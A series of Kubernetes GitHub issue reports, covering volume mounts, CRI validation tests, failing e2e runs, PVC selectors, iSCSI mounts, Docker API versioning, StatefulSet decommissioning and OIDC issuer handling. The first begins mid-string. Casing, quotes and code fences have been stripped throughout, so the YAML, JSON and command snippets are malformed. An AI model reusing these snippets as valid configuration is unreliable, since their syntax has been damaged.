var-lib-rkt-pods-run-97963c99\\x2d2e18\\x2d4982\\x2dbe42\\x2dd65e7c7e8265-stage1-rootfs-opt-stage2-hyperkube-rootfs-var-lib-kubelet-plugins-kubernetes.io-aws\\x2debs-mounts-aws-eu\\x2dwest\\x2d1b-vol\\x2d7e79f78b.mount      the interesting bit is that my pod is running anyway, and running  df  inside container:      system master /kubectl exec -ti prometheus-1394874088-32qhv -- df -kht filesystem           type            size      used available use% mounted on overlay              overlay        48.1g      8.9g     37.1g  19% / tmpfs                tmpfs           3.9g         0      3.9g   0% /dev tmpfs                tmpfs           3.9g         0      3.9g   0% /sys/fs/cgroup /dev/xvdba           ext4           19.6g      7.8g     10.8g  42% /prometheus /dev/xvda9           ext4           48.1g      8.9g     37.1g  19% /etc/prometheus /dev/xvda9           ext4           48.1g      8.9g     37.1g  19% /dev/termination-log tmpfs                tmpfs           3.9g     12.0k      3.9g   0% /var/run/secrets/kubernetes.io/serviceaccount /dev/xvda9           ext4           48.1g      8.9g     37.1g  19% /etc/resolv.conf /dev/xvda9           ext4           48.1g      8.9g     37.1g  19% /etc/hostname /dev/xvda9           ext4           48.1g      8.9g     37.1g  19% /etc/hosts shm                  tmpfs          64.0m         0     64.0m   0% /dev/shm      this is the mount point:   /dev/xvdba           ext4           19.6g      7.8g     10.8g  42% /prometheus   i'm not actually sure what that mount is, another pod using pvc on the same host is mongo, and thats mounted there.

see: https://github.com/google/cadvisor/issues/1461  this issue is purely for tracking purposes.

this was brought in the @kubernetes/sig-node meeting previously. i think having a cri validation test is necessary eventually to qualify a new cri shim and help cri shim developers. it would be good to have such a test sooner than later.   basically, we want a test framework and a set of tests to validate a cri  grpc  server alone. for starters, we can just run tests locally on a machine where the grpc server runs. the test only needs to know the socket to talk to, and can perform the basic operations such as creating/deleting sandboxes/containers. ideally, no runtime-specific bits should be included in the tests.   the cri validation test should replace/subsume the existing runtime validation test  formerly known as automatic docker validation test: https://github.com/kubernetes/features/issues/57 .    @kubernetes/sig-node, since we have multiple ongoing projects implementing cri shims, this should be a sig-node community effort. if someone already has testing bits in their repository, you're welcome to donate such tests and/or harness. volunteers to work on the cri validation test is also welcome.  /cc @dchen1107 @random-liu @euank @yifan-gu @mrunalp

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gce-autoscaling/921/  failed:  k8s.io  cluster size autoscaling  slow  shouldn't increase cluster size if pending pod is too large  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:89 expected     <int>: 2 to equal     <int>: 3 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:79

given pv:\r \r    \r apiversion: \ v1\ \r kind: \ persistentvolume\ \r metadata:\r   name: \ pv0001\ \r   labels:\r     volume-type: \ gold\ \r spec:\r   capacity:\r     storage: \ 10gi\ \r   accessmodes:\r     - \ readwriteonce\ \r   gcepersistentdisk:\r     fstype: \ ext4\ \r     pdname: \ hekumar-mo\ \r    \r \r create a pvc that matches it via selector:\r \r \r    \r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: claim1\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 10gi\r   selectors:\r     matchlabels:\r       volume-type: \ gold\ \r    \r \r creating the pvc fails with:\r \r    \r failed to provision volume with storageclass \ default\ : claim.spec.selector is not supported for dynamic provisioning on gce\r    \r \r cc @kubernetes/sig-storage-bugs  @jsafrane \r \r \r so far the only workaround i know is binding pv and pvc via volumename in pvc and claim and claimref in pv

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws-serial/1/ multiple broken tests:  failed:  k8s.io  network partition  disruptive   slow   k8s.io   job  should create new pods when node is partitioned {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:481 mar  6 14:29:18.128: node ip-172-20-56-237.ec2.internal did not become not-ready within 2m0s /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:69     issues about this test specifically:  36950   failed:  k8s.io  daemon set  serial  should update pod when spec was updated and update strategy is rollingupdate {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/daemon_set.go:293 expected error:     < errors.errorstring | 0xc4203d8250>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/daemon_set.go:287       failed:  k8s.io  network partition  disruptive   slow   k8s.io   replicationcontroller  should eagerly create replacement pod during network partition when termination grace is non-zero {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:363 each pod should start running and responding expected error:     < errors.errorstring | 0xc423bd22e0>: {         s: \ pod name my-hostname-net: gave up waiting 2m0s for -1 pods to come up\ ,     }     pod name my-hostname-net: gave up waiting 2m0s for -1 pods to come up not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:331     issues about this test specifically:  37479   failed:  k8s.io  namespaces  serial  should ensure that all pods are removed when a namespace is deleted. {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/namespace.go:217 expected error:     < errors.errorstring | 0xc4203d8250>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/namespace.go:125       failed:  k8s.io  kubelet  serial   slow   k8s.io  regular resource usage tracking resource tracking for 0 pods per node {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubelet_perf.go:271 expected error:     <errors.aggregate | len:5, cap:8>:           {             s: \ resource usage on node \\\ ip-172-20-46-199.ec2.internal\\\  is not ready yet\ ,         },         {             s: \ resource usage on node \\\ ip-172-20-49-179.ec2.internal\\\  is not ready yet\ ,         },         {             s: \ resource usage on node \\\ ip-172-20-53-37.ec2.internal\\\  is not ready yet\ ,         },         {             s: \ resource usage on node \\\ ip-172-20-56-237.ec2.internal\\\  is not ready yet\ ,         },         {             s: \ resource usage on node \\\ ip-172-20-63-6.ec2.internal\\\  is not ready yet\ ,         },            resource usage on node \ ip-172-20-46-199.ec2.internal\  is not ready yet, resource usage on node \ ip-172-20-49-179.ec2.internal\  is not ready yet, resource usage on node \ ip-172-20-53-37.ec2.internal\  is not ready yet, resource usage on node \ ip-172-20-56-237.ec2.internal\  is not ready yet, resource usage on node \ ip-172-20-63-6.ec2.internal\  is not ready yet  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubelet_perf.go:106     issues about this test specifically:  26784  28384  31935  33023  39880   failed:  k8s.io  kubelet  serial   slow   k8s.io  regular resource usage tracking resource tracking for 100 pods per node {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubelet_perf.go:271 expected error:     <errors.aggregate | len:5, cap:8>:           {             s: \ resource usage on node \\\ ip-172-20-46-199.ec2.internal\\\  is not ready yet\ ,         },         {             s: \ resource usage on node \\\ ip-172-20-49-179.ec2.internal\\\  is not ready yet\ ,         },         {             s: \ resource usage on node \\\ ip-172-20-53-37.ec2.internal\\\  is not ready yet\ ,         },         {             s: \ resource usage on node \\\ ip-172-20-56-237.ec2.internal\\\  is not ready yet\ ,         },         {             s: \ resource usage on node \\\ ip-172-20-63-6.ec2.internal\\\  is not ready yet\ ,         },            resource usage on node \ ip-172-20-46-199.ec2.internal\  is not ready yet, resource usage on node \ ip-172-20-49-179.ec2.internal\  is not ready yet, resource usage on node \ ip-172-20-53-37.ec2.internal\  is not ready yet, resource usage on node \ ip-172-20-56-237.ec2.internal\  is not ready yet, resource usage on node \ ip-172-20-63-6.ec2.internal\  is not ready yet  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubelet_perf.go:106     issues about this test specifically:  26982  32214  33994  34035  35399  38209   failed:  k8s.io  daemon set  serial  should not update pod when spec was updated and update strategy is on delete {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/daemon_set.go:264 expected error:     < errors.statuserror | 0xc421186a00>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ operation cannot be fulfilled on daemonsets.extensions \\\ daemon-set\\\ : the object has been modified; please apply your changes to the latest version and try again\ ,             reason: \ conflict\ ,             details: {name: \ daemon-set\ , group: \ extensions\ , kind: \ daemonsets\ , causes: nil, retryafterseconds: 0},             code: 409,         },     }     operation cannot be fulfilled on daemonsets.extensions \ daemon-set\ : the object has been modified; please apply your changes to the latest version and try again not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/daemon_set.go:254       failed: install_gcloud {pre-setup}                      your current cloud sdk version is: 146.0.0 installing components from version: 146.0.0  +----------------------------------------------------+ |        these components will be installed.         | +-----------------------------+------------+---------+ |             name            |  version   |   size  | +-----------------------------+------------+---------+ | gcloud-deps  linux, x86_64  | 2017.02.21 | 3.9 mib | +-----------------------------+------------+---------+  for the latest full release notes, please visit:   https://cloud.google.com/sdk/release_notes   ============================================================   = creating update staging area                             =   ============================================================   = installing: gcloud-deps  linux, x86_64                   =   ============================================================   = creating backup and activating new installation          =   ============================================================   performing post processing steps... ...........failed. warning: post processing failed.  run  gcloud info --show-log  to view the failures.  update done!  traceback  most recent call last :   file \ //google-cloud-sdk/bin/bootstrapping/install.py\ , line 206, in <module>     main     file \ //google-cloud-sdk/bin/bootstrapping/install.py\ , line 191, in main     sdk_root=bootstrapping.sdk_root, typeerror: updaterc   got an unexpected keyword argument 'completion_update'                   issues about this test specifically:  32669  36416  36842  40203  42227   failed:  k8s.io  network partition  disruptive   slow   k8s.io   replicationcontroller  should recreate pods scheduled on the unreachable node and allow scheduling of pods on a node after it rejoins the cluster {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:319 each pod should start running and responding expected error:     < errors.errorstring | 0xc420eb45b0>: {         s: \ pod name my-hostname-net: gave up waiting 2m0s for -1 pods to come up\ ,     }     pod name my-hostname-net: gave up waiting 2m0s for -1 pods to come up not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:266     issues about this test specifically:  37259   failed:  k8s.io  noexecutetaintmanager  serial  evicts pods from tainted nodes {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/taints_test.go:189 mar  6 15:33:21.812: failed to evict pod /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/taints_test.go:185       failed: test {e2e.go}      exit status 1     issues about this test specifically:  33361  38663  39788  39877  40371  40469  40478  40483  40668  41048

what happened  :\r  defaultrestmapper.add    uses  unsafeguesskindtoresource    instead of using  plural  field returned by discovery.\r \r   what you expected to happen  :\r rest mapper should return correct plural form in the \ resource\  field of  restmapping .\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a crd where plural != lowercase kind+\ s\  e.g. plural is \ bla1\  and kind is \ blax\ .\r on a discovery rest mapper try to call  restmapping    with the group the cr.\r it will return something like \ blaxs\ .\r \r i wonder how gc works in  47665. isn't it affected by this issue? @ironcladlou \r \r   environment  :\r i use 1.7 branch of client-go but looks like k8s master does not have any changes to  defaultrestmapper  so the bug is there too.\r \r   /area third-party-resource\r

https://kubernetes.io/docs/getting-started-guides/openstack-heat/\r \r followed this tutorial, managed to have the stack in status ok, but no cluster was created, apparently. i'm not pretty sure on how to debug this, but haven't found anything useful in the master node.\r \r the output says everything is okay:\r    \r cluster status create_in_progress\r cluster status create_complete\r cluster \ openstack-k8s\  set.\r user \ openstack-k8s\  set.\r context \ openstack-k8s\  modified.\r switched to context \ openstack-k8s\ .\r wrote config for openstack-k8s to /home/henrique/.kube/config\r done, listing cluster services:\r \r kubernetes master is running at https://150.165.85.57\r    \r \r and all the resources are created:\r    \r openstack stack resource list k8s\r +-------------------------------+--------------------------------------+-------------------------------+-----------------+----------------------+\r | resource_name                 | physical_resource_id                 | resource_type                 | resource_status | updated_time         |\r +-------------------------------+--------------------------------------+-------------------------------+-----------------+----------------------+\r | hostname_hack_script          | 2c279231-2a3d-4484-b0c4-1fe21289cd54 | os::heat::softwareconfig      | create_complete | 2017-08-24t20:10:22z |\r | write_heat_params             | 237789a0-54d0-4cf5-876f-a651a2e618f5 | os::heat::softwareconfig      | create_complete | 2017-08-24t20:10:22z |\r | run_salt                      | 3a0f4b28-f7e4-42e4-b2bf-66c16efb7dcd | os::heat::softwareconfig      | create_complete | 2017-08-24t20:10:22z |\r | kube_master_floating          | ca825c94-6a39-4fbf-a3f8-f47057c2dd32 | os::neutron::floatingip       | create_complete | 2017-08-24t20:10:22z |\r | kube_master_eth0              | 3d3f9ac7-e291-40bb-8c99-dabad354cbee | os::neutron::port             | create_complete | 2017-08-24t20:10:22z |\r | kube_user                     | 7176c489-786c-46ad-b365-ce9ca393c450 | os::heat::softwareconfig      | create_complete | 2017-08-24t20:10:22z |\r | secgroup_master               | f2166239-fca2-43ea-8908-ffb9a227b7a2 | os::neutron::securitygroup    | create_complete | 2017-08-24t20:10:22z |\r | deploy_kube_auth_files_master | 5c5693bd-78a0-4833-ac01-c5f57215c063 | os::heat::softwareconfig      | create_complete | 2017-08-24t20:10:22z |\r | kube_master_init              | 05a1ab2a-a961-4f89-a050-4d5bad9e6483 | os::heat::multipartmime       | create_complete | 2017-08-24t20:10:22z |\r | secgroup_base                 | b8cb8d23-ffee-4d53-ab06-0bdd672aff0d | os::neutron::securitygroup    | create_complete | 2017-08-24t20:10:22z |\r | kube_minions                  | 6182054d-b953-43ec-9559-507803c377ac | os::heat::autoscalinggroup    | create_complete | 2017-08-24t20:10:21z |\r | master_wait_condition         |                                      | os::heat::waitcondition       | create_complete | 2017-08-24t20:10:21z |\r | secgroup_node                 | 2b2bb4a5-d193-4a44-9702-0e6daf354815 | os::neutron::securitygroup    | create_complete | 2017-08-24t20:10:21z |\r | proxy_config                  | 7c2298f2-0429-4833-a980-e6c4ac8e839f | os::heat::softwareconfig      | create_complete | 2017-08-24t20:10:22z |\r | master_wait_handle            | 53f41e33b1c749c0b3e6c3e12361e53d     | os::heat::waitconditionhandle | create_complete | 2017-08-24t20:10:22z |\r | provision_network_master      | 2220d8a7-772b-4e35-b367-75fd5fbbe882 | os::heat::softwareconfig      | create_complete | 2017-08-24t20:10:22z |\r | hostname_hack                 | 0477a283-0c7d-4853-b85b-ae7ad44d34f2 | os::heat::softwareconfig      | create_complete | 2017-08-24t20:10:22z |\r | configure_salt_master         | 44f58145-b8d5-46ce-8be5-d40223dbe52f | os::heat::softwareconfig      | create_complete | 2017-08-24t20:10:22z |\r | kube_master                   | b3248701-6b25-4126-9a00-3730fb801f81 | os::nova::server              | create_complete | 2017-08-24t20:10:21z |\r +-------------------------------+--------------------------------------+-------------------------------+-----------------+----------------------+\r    \r \r   is this a bug report or feature request?  :\r  \r   how to reproduce it  as minimally and precisely as possible   :\r just follow the tutorial there.

i have an iscsi pv + a pod that uses it.\r \r   what happened  :\r the pod is pending with these events:\r    \r   4m\t\t22s\t\t3\tkubelet, jsafrane-e2e-minion-group-dxmv\t\t\twarning\t\tfailedmount\t\tunable to mount volumes for pod \ testpod_default 09f992bb-8d7d-11e7-a260-42010a800002 \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ testpod\ . list of unattached/unmounted volumes= vol \r   4m\t\t22s\t\t3\tkubelet, jsafrane-e2e-minion-group-dxmv\t\t\twarning\t\tfailedsync\t\terror syncing pod\r    \r \r kubelet logs contains:\r \r    \r i0830 12:16:44.758705    3440 reconciler.go:257  operationexecutor.mountvolume started for volume \ nfs-pv\   uniquename: \ kubernetes.io/iscsi/10.128.0.3:3260:iqn.2003-01.org.linux-iscsi.f21.x8664:sn.4b0aae584f7c:0\   pod \ testpod\   uid: \ 09f992bb-8d7d-11e7-a260-42010a800002\   \r i0830 12:16:44.758828    3440 operation_generator.go:413  mountvolume.waitforattach entering for volume \ nfs-pv\   uniquename: \ kubernetes.io/iscsi/10.128.0.3:3260:iqn.2003-01.org.linux-iscsi.f21.x8664:sn.4b0aae584f7c:0\   pod \ testpod\   uid: \ 09f992bb-8d7d-11e7-a260-42010a800002\   devicepath \ \ \r e0830 12:16:44.769388    3440 nestedpendingoperations.go:264  operation for \ \\\ kubernetes.io/iscsi/10.128.0.3:3260:iqn.2003-01.org.linux-iscsi.f21.x8664:sn.4b0aae584f7c:0\\\ \  failed. no retries permitted until 2017-08-30 12:17:00.769337868 +0000 utc  durationbeforeretry 16s . error: mountvolume.waitforattach failed for volume \ nfs-pv\   uniquename: \ kubernetes.io/iscsi/10.128.0.3:3260:iqn.2003-01.org.linux-iscsi.f21.x8664:sn.4b0aae584f7c:0\   pod \ testpod\   uid: \ 09f992bb-8d7d-11e7-a260-42010a800002\   : heuristic determination of mount point failed:stat /var/lib/kubelet/plugins/kubernetes.io/iscsi/iface-default/10.128.0.3:3260-iqn.2003-01.org.linux-iscsi.f21.x8664:sn.4b0aae584f7c-lun-0: no such file or directory\r    \r \r pv:\r    \r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: nfs-pv\r spec:\r   accessmodes:\r   - readwriteonce\r   capacity:\r     storage: 5gi\r   iscsi:\r     targetportal: 10.128.0.3:3260\r     iqn: iqn.2003-01.org.linux-iscsi.f21.x8664:sn.4b0aae584f7c\r     lun: 0\r     fstype: ext2\r   persistentvolumereclaimpolicy: retain\r    \r \r   it got attached just fine as  /dev/sdb \r   there is no  /var/lib/kubelet/plugins/kubernetes.io/iscsi  directory, something must create it first.\r \r   environment  :\r   debian wheezy  but tested also on fedora 24 \r   today's kubernetes master,  client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.3.502+5030391c0750ea\ , gitcommit:\ 5030391c0750eaa3fa7ccdef609ae7b22f29e477\ , gittreestate:\ clean\ , builddate:\ 2017-08-30t11:25:15z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r  serverversion is the same \r \r   /assign @mtanino @rootfs \r

forked from discussion in https://github.com/kubernetes/kubernetes/issues/42926 issuecomment-332657084 and https://github.com/kubernetes/kubernetes/issues/42926 issuecomment-332676692.\r \r   problem  \r \r questions were raised that the validated docker version  1.13.1/17.06-ce  has already been eol'd before kuberentes v1.8 is release. although some users may get longer support terms from commercially -supported edition or vendor-provided version  cos image on gcp, rhel, etc , this is not ideal for users who rely purely on docker community edition.\r \r on the other hand, with the current kubernetes release cycle, i think chasing the 4-month docker support window is futile. even if we had validated docker 17.06-ce with kubernetes 1.8, it'd still be eol'd a month after 1.8 is out. instead, we should shift the focus from docker engine version to docker api version as @euank suggested. \r \r   background  \r \r with each new docker engine version, docker publishes a new api version  see the  lookup table  https://docs.docker.com/engine/api/v1.32/  . right now, kubelet/dockershim always uses the latest docker api version that the engine supports, but in fact, each engine supports multiple api versions.\r \r for example, with docker 1.13, the latest, supported api version is 1.26\r    console\r $ docker version\r server:\r  version:      1.13.1\r  api version:  1.26  minimum version 1.12 \r  go version:   go1.8.1\r  git commit:   092cba3\r  built:        wed aug 30 20:31:05 2017\r  os/arch:      linux/amd64\r  experimental: false\r    \r the following two requests  using two different api versions  both work against the 1.13.1 engine.\r    \r get /v1.26/containers/json\r get /v1.23/containers/json\r    \r   proposed  \r \r we should allow users who want to upgrade their docker ce version for security patches  not features  an option to do so. on the other hand, it's still valuable to publish the docker version validation \r \r  1. publish the  min_  and  max_docker_api_version  validated against the current kubernetes version.\r     - set the  max_docker_api_version  to use in the docker client in kubelet/dockershim. kubelet will use the the minimum of   max_docker_api_version , newest_api_version_supported_by_the_engine  to talk to the docker engine.\r     - add a flag in kubelet/dockershim so that users can override the  max_docker_api_version  if they desire.\r  2. publish the docker engine versions validated with each os distro in some form. this information is still valuable since efforts have been put in each docker validation to discover, document, and work around bugs.\r \r - for users who want to upgrade their docker ce version for security patches, they are free to do so because kubelet/dockershim will simply use the validated  max_docker_api_version  to communicate with docker. of course, users'd need to bear the risk of hitting bugs in the new docker versions, but this is well-known and they can always reach out to the docker community to get the bugs fixed.\r - for users who want to try or test newer docker api version, they can restart kubelet and override the setting with  --max-docker-api-version \r \r   caveats  \r \r kubernetes may get more user issues for docker engine versions that were not really validated against the release  through e2e test . i think it's a reasonable tradeoff and most issues should be redirected to the docker community since kubelet uses a fixed api version.\r \r \r /cc @kubernetes/sig-node-proposals @dchen1107 @derekwaynecarr

please see https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/deployment/progress.go l35 there are no unit tests currently for that method. this would be a good started pr for someone interested in helping with kubernetes.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r the conformance test \ validates resource limits of pods that are allowed to run\  fails, because a pod name contains \ .\  which is invalid name when trying to create name.\r \r   what you expected to happen  :\r \r the test can pass.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r on the environment dns doesn't work for hostnames of worker nodes, we can reproduce this issue with the following command:\r \r $ go run hack/e2e.go -- --provider=skeleton -v --test --test_args=\ --ginkgo.focus=validates\\sresource\\slimits\ \r \r   anything else we need to know?  :\r \r the above description is all.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

like kubernetes/community 116 but for the wiki in kubernetes/kubernetes\r \r i suspect much of the content in the wiki is harmfully out of date.  most of the edits in the last year have involved reminding people just how out of date the wiki is.  i would like to:\r - delete the obviously out of date stuff i am comfortable making a call on\r - migrate out the content i can't make a call on to kubernetes/community/sig-foo/migrated-from-wiki\r - disable the wiki\r \r /   /assign\r fyi @kubernetes/sig-contributor-experience-misc-use-only-as-a-last-resort

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i have custom columns defined via the openapi attribute for resources in my apiserver. they show up just fine when i run  kubectl get instances  but they do not show up when i run  kubectl get instances -w \r \r    \r kubectl get instances -w\r name                      age\r generic-node-pool-kbsc4   51s\r generic-node-pool-nf2l8   51s\r generic-node-pool-rndrc   51s\r    \r \r   what you expected to happen  :\r \r i expect the same columns that show up in  kubectl get  to show up when i watch. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a custom resource that use the openapi custom columns, then watch for updates. \r \r   /area kubectl\r

 \r statefulsets are nice resources. but most stateful applications need to execute a custom \ decommission\  procedure that must be executed    correctly    when a instance is removed permanently from the cluster.\r \r   examples:  \r - when scaling down from say 5 pods to 4 pods, many datastores require that data contained in the 5th pod is rebalanced across the cluster\r - applications forming distributed clusters distinguish the case where a instance is temporary unreachable from the case where the instance is administratively removed with a \ scale down\ : in the second case a special \ decommission\  procedure has to take place\r - in other cases  e.g. transactions , data stored in the stateful set is \ temporary\   although it needs to be persisted across restarts , so the application developer wants to put the application into a \ terminating\  state and wait for all data to be flushed to external resources before allowing \ decommission\  of the instance\r \r the   problem   in kubernetes is twofold:\r \r   1  pods that are requested to terminate  sigterm  are not informed by kubernetes if it's a permanent termination or a temporary   one  i.e. if the stateful pod will be removed from the set or it will be recreated on another node \r \r   2  kubernetes does not require the decommissioned pod to terminate gracefully for the scale down operation to succeed:   if the   termination grace period   is not enough for the cleanup operation to complete, or also if the docker container is killed during the termination phase, the pod is considered terminated and the set is scaled down, but the \ decommission\  operation may be incomplete\r \r currently applications need mechanisms for auto-detection of such scenarios  when a pod is not reachable for some time, it is considered gone . i've seen also people creating custom \ controller\  pods, that monitor such events in the cluster and start a custom \ recovery\  pod to cleanup data left behind.\r \r it would be nice if statefulsets could have hook to detect  decommission  vs.  termination  and allow to plug a different behavior on graceful termination in case of decommission.

this test consistently fails for gke regional clusters:\r https://k8s-testgrid.appspot.com/google-gke gke-regional\r \r    \r go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/instrumentation/logging/stackdrvier/basic.go:141\r expected error:\r     < errors.errorstring | 0xc420f6a3f0>: {\r         s: \ timed out waiting for ingestion, still not ingested: \ ,\r     }\r     timed out waiting for ingestion, still not ingested: \r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/instrumentation/logging/stackdrvier/basic.go:168\r    \r \r @piosz @crassirostris - can you please triage?

 \r   what happened  :\r \r kube-apiserver does not accept google id tokens with issuer  accounts.google.com  after upgrading from 1.8.5 to 1.10.4.\r \r   what you expected to happen  :\r \r kube-apiserver should accept both issuers  https://accounts.google.com  and  accounts.google.com  since not all clients support setting oidc-issuer-url. this used to work on previous versions  1.8.5 at least  and is a special case  also handled  https://github.com/coreos/go-oidc/pull/132  by go-oidc library.\r \r   how to reproduce it  :\r \r enabling oidc on kube-apiserver for google adding the following flags:\r \r    \r         - --oidc-issuer-url=https://accounts.google.com\r         - --oidc-username-claim=email\r         - --oidc-client-id=xxxxx.apps.googleusercontent.com\r    \r \r request an id token using  google platform library  https://developers.google.com/identity/sign-in/web/sign-in \r \r    javascript\r googleuser.getauthresponse  .id_token\r    \r \r decoding it we will get something like:\r \r    json\r {\r   \ azp\ : \ xxx.apps.googleusercontent.com\ ,\r   \ aud\ : \ xxx.apps.googleusercontent.com\ ,\r   \ sub\ : \ 0000000000000000000\ ,\r   \ hd\ : \ getyourguide.com\ ,\r   \ email\ : \ fernando.cainelli@getyourguide.com\ ,\r   \ email_verified\ : true,\r   \ at_hash\ : \ xxxx\ ,\r   \ exp\ : 0000000000,\r   \ iss\ : \ accounts.google.com\ ,\r   \ jti\ : \ 00000000000000000000fffffffffffffffffffffffffffff\ ,\r   \ iat\ : 000000000,\r   \ name\ : \ fernando cainelli\ ,\r   \ picture\ : \ https://lh4.googleusercontent.com/-em4cnhqgqfu/aaaaaaaaaai/aaaaaaaaabq/uh-ss3jtc4m/s96-c/photo.jpg\ ,\r   \ given_name\ : \ fernando\ ,\r   \ family_name\ : \ cainelli\ ,\r   \ locale\ : \ en\ \r }\r    \r \r use the generated id token on the  authorization  header to authenticate against kube-apiserver.\r \r     bash\r $ curl https://api.testing1.domain.com:443/apis --insecure -h \ authorization: $token\ \r {\r   \ kind\ : \ status\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r \r   },\r   \ status\ : \ failure\ ,\r   \ message\ : \ unauthorized\ ,\r   \ reason\ : \ unauthorized\ ,\r   \ code\ : 401\r }%\r    \r \r doing the same thing but using an id token requested by using  go-oidc  https://github.com/coreos/go-oidc  works. it generates something like:\r \r    json\r {\r   \ azp\ : \ xxx.apps.googleusercontent.com\ ,\r   \ aud\ : \ xxx.apps.googleusercontent.com\ ,\r   \ sub\ : \ 0000000000000000000\ ,\r   \ hd\ : \ getyourguide.com\ ,\r   \ email\ : \ fernando.cainelli@getyourguide.com\ ,\r   \ email_verified\ : true,\r   \ at_hash\ : \ xxxx\ ,\r   \ exp\ : 0000000000,\r   \ iss\ : \ https://accounts.google.com\ ,\r   \ iat\ : 000000000,\r   \ name\ : \ fernando cainelli\ ,\r   \ picture\ : \ https://lh4.googleusercontent.com/-em4cnhqgqfu/aaaaaaaaaai/aaaaaaaaabq/uh-ss3jtc4m/s96-c/photo.jpg\ ,\r   \ given_name\ : \ fernando\ ,\r   \ family_name\ : \ cainelli\ ,\r   \ locale\ : \ en\ \r }\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:05:37z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r aws - m4.2xlarge\r \r - os  e.g. from /etc/os-release :\r    \r name=\ container linux by coreos\ \r id=coreos\r version=1745.7.0\r version_id=1745.7.0\r build_id=2018-06-14-0909\r pretty_name=\ container linux by coreos 1745.7.0  rhyolite \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r \r - kernel  e.g.  uname -a  :\r    \r linux master2.sandbox1.gygkube.com 4.14.48-coreos-r2  1 smp thu jun 14 08:23:03 utc 